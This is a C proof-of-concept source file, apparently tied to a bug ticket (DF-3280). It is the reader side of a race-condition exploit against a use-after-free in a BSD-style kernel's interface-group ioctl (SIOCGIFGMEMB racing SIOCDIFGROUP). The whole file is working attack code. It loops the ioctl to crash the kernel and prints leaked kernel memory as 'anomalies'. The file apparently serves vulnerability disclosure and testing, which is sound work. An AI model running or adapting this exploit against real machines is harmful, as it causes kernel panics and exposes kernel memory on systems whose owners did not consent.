DF-3280 / gmembr_reader.c
/* * DF-3280 PoC - unprivileged side (reader). * * Hammer SIOCGIFGMEMB on group "rgrpA" in the two-phase protocol * (query length, then fetch members). Race window: if_getgroupmembers() * caches the struct ifg_group * found in its first critical section, * releases ifgroup_lock, kmalloc()s, re-acquires the lock and walks * ifg->ifg_members through the stale pointer (sys/net/if.c:1350-1363). * A concurrent SIOCDIFGROUP that drops the last member frees the group * (if_destroygroup -> kfree) inside that window => use-after-free walk. * * Anomalies printed: * - member name other than "lo0" (freed/reused kernel memory copied out) * Kernel panic (check serial console) is the primary success signal. */ #include <sys/socket.h> #include <sys/sockio.h> #include <net/if.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define GRP_DEFAULT "rgrpA" int main(int argc, char *argv[]) { const char *GRP = argc > 1 ? argv[1] : GRP_DEFAULT; struct ifgroupreq q; struct ifg_req *reqs; u_int len; int s, i; unsigned long ok = 0, enoent = 0, einval = 0, anom = 0, iters = 0; time_t t0 = time(NULL), tl = t0; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); exit(1); } printf("[reader] started pid=%d\n", getpid()); fflush(stdout); for (;;) { if (time(NULL) - tl >= 10) { tl = time(NULL); printf("[reader] iters=%lu ok=%lu enoent=%lu einval=%lu anom=%lu (t=%ld)\n", iters, ok, enoent, einval, anom, time(NULL) - t0); fflush(stdout); } /* phase 1: length query */ memset(&q, 0, sizeof(q)); strlcpy(q.ifgr_name, GRP, sizeof(q.ifgr_name)); q.ifgr_len = 0; if (ioctl(s, SIOCGIFGMEMB, &q) < 0) { if (errno == ENOENT) { enoent++; continue; } if (errno == EINVAL) { einval++; continue; } perror("phase1"); usleep(1000); continue; } len = q.ifgr_len; if (len == 0 || len > 65536) continue; reqs = calloc(1, len); if (reqs == NULL) continue; /* phase 2: fetch members (UAF window is inside this ioctl) */ memset(&q, 0, sizeof(q)); strlcpy(q.ifgr_name, GRP, sizeof(q.ifgr_name)); q.ifgr_len = len; q.ifgr_groups = reqs; if (ioctl(s, SIOCGIFGMEMB, &q) < 0) { if (errno == ENOENT) enoent++; else if (errno == EINVAL) einval++; else perror("phase2"); } else { ok++; for (i = 0; (u_int)(i * sizeof(struct ifg_req)) < len; i++) { if (strcmp(reqs[i].ifgrq_member, "lo0") != 0) { /* only legit member is lo0 */ anom++; printf("[reader] ANOMALY iter=%lu member[%d]='%.16s'\n", iters, i, reqs[i].ifgrq_member); fflush(stdout); } } } free(reqs); iters++; } return 0; } |